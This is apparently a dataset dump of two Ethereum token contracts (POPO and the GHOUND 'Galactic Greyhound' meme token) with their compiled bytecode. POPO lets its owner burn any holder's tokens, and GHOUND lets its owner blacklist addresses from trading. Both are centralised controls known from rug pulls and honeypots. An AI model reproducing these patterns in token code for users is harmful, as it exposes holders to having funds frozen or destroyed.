modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public virtual override returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public virtual override returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: Token-contracts/ERC20.sol contract POPO is ERC20, Ownable { constructor () public ERC20 ("POPON", "POPO", 18) { _mint(msg.sender, 20000000000E18); } /** * @dev Mint new tokens, increasing the total supply and balance of "account" * Can only be called by the current owner. */ function mint(address account, uint256 value) public onlyOwner { _mint(account, value); } /** * @dev Burns token balance in "account" and decrease totalsupply of token * Can only be called by the current owner. */ function burn(address account, uint256 value) public onlyOwner { _burn(account, value); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610310578063a9059cbb1461033c578063dd62ed3e14610368578063f2fde38b1461039657610100565b8063715018a6146102b05780638da5cb5b146102b857806395d89b41146102dc5780639dc29fac146102e457610100565b8063313ce567116100d3578063313ce56714610212578063395093511461023057806340c10f191461025c57806370a082311461028a57610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610452565b604080519115158252519081900360200190f35b6101ca6104ce565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b038135811691602081013590911690604001356104d4565b61021a61059d565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b0381351690602001356105a6565b6102886004803603604081101561027257600080fd5b506001600160a01b038135169060200135610654565b005b6101ca600480360360208110156102a057600080fd5b50356001600160a01b03166106bf565b6102886106da565b6102c0610787565b604080516001600160a01b039092168252519081900360200190f35b61010d61079b565b610288600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356107fc565b6101ae6004803603604081101561032657600080fd5b506001600160a01b038135169060200135610863565b6101ae6004803603604081101561035257600080fd5b506001600160a01b0381351690602001356108ac565b6101ca6004803603604081101561037e57600080fd5b506001600160a01b03813581169160200135166108c2565b610288600480360360208110156103ac57600080fd5b50356001600160a01b03166108ed565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b60006001600160a01b03831661046757600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b0383166000908152600160209081526040808320338452909152812054610508908363ffffffff610a0f16565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610537848484610a24565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b0383166105bb57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff6109f616565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b61065c610aef565b60055461010090046001600160a01b039081169116146106b1576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610af3565b5050565b6001600160a01b031660009081526020819052604090205490565b6106e2610aef565b60055461010090046001600160a01b03908116911614610737576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b610804610aef565b60055461010090046001600160a01b03908116911614610859576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610b9b565b60006001600160a01b03831661087857600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff610a0f16565b60006108b9338484610a24565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108f5610aef565b60055461010090046001600160a01b0390811691161461094a576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6001600160a01b03811661098f5760405162461bcd60e51b8152600401808060200182810382526026815260200180610c436026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600082820183811015610a0857600080fd5b9392505050565b600082821115610a1e57600080fd5b50900390565b6001600160a01b038216610a3757600080fd5b6001600160a01b038316600090815260208190526040902054610a60908263ffffffff610a0f16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a95908263ffffffff6109f616565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610b0657600080fd5b600254610b19908263ffffffff6109f616565b6002556001600160a01b038216600090815260208190526040902054610b45908263ffffffff6109f616565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610bae57600080fd5b600254610bc1908263ffffffff610a0f16565b6002556001600160a01b038216600090815260208190526040902054610bed908263ffffffff610a0f16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220c859c5ec6d99c386e4c78b122148dbafc10879ea073b7d2123325010f8b477c264736f6c634300060a0033
{"success": true, "error": null, "results": {}}
1,785
0xF511107e2F6a676f07225cd141c9038633Ec4490
/* 🚀 🐕 /)-_-(\ /)-_-(\ (o o) (o o) .-----__/\o/ \o/\__-----. / __ / Galactic Greyhound \ __ \ \__/\ / \_\ |/ \| /_/ \ /\__/ \\ || t.me/galacticgreyhound || \\ // || || // |\ |\ galacticgreyhound.com /| /| `. ___ __,' __`. _..----....____ __...--.'``;. ,. ;``--..__ .' ,-._ _.-' _..-''-------' `' `' `' O ``-''._ (,;') _,' ,'________________ \`-._`-',' `._ ```````````------...___ '-.._'-: ```--.._ ,. ````--...__\-. `.--. `-` ____ | |` `. `. ,'`````. ; ;` `._`. __________ `. \'__/` `-:._____/______/___/____`. \ ` | `._ `. \ `._________`-. `. `.___ `------'` A portion of fees will be sent to https://forgottenanimals.org/bitcoin/ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GHOUND is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = 'Galactic Greyhound'; string private constant _symbol = 'GHOUND'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b03813516906020013561052d565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b5061020561054b565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610558565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105df565b005b34801561029b57600080fd5b506102a4610658565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b5035151561065d565b3480156102f257600080fd5b5061028d6106d3565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610707565b34801561033a57600080fd5b5061028d610771565b34801561034f57600080fd5b50610358610813565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e610822565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610842565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610856945050505050565b34801561047e57600080fd5b5061028d61090a565b34801561049357600080fd5b5061028d610947565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d3b565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e40565b60408051808201909152601281527111d85b1858dd1a58c811dc995e5a1bdd5b9960721b602082015290565b600061054161053a610e6b565b8484610e6f565b5060015b92915050565b683635c9adc5dea0000090565b6000610565848484610f5b565b6105d584610571610e6b